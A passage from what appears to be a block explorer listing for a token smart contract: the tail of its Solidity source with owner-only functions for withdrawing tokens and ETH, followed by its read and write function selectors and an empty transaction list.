function getERC20fromContract(
address _tokenAddy,
uint256 _amount,
address to
) external onlyOwner {
require(_amount > 0, "Amount should be greater than zero");
require(
_amount <= IERC20(_tokenAddy).balanceOf(address(this)),
"Insufficient Amount"
);
IERC20(_tokenAddy).transfer(to, _amount);
}
function getETHfromContract(address to) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
require(contractETHBalance > 0, "Amount should be greater than zero");
require(
contractETHBalance <= address(this).balance,
"Insufficient Amount"
);
payable(address(to)).transfer(contractETHBalance);
}
}
Read Contract
_marketersAndDevs 0x2782e35b → bool
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
excludeFromReward 0x52390c02
address account
includeInReward 0x3685d419
address account
renounceOwnership 0x715018a6
No parameters
setDev 0xd477f05f
address account
setNumber 0x3fb5c1cb
uint256 newNumber
setRemainder 0x98985331
uint256 newRemainder
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address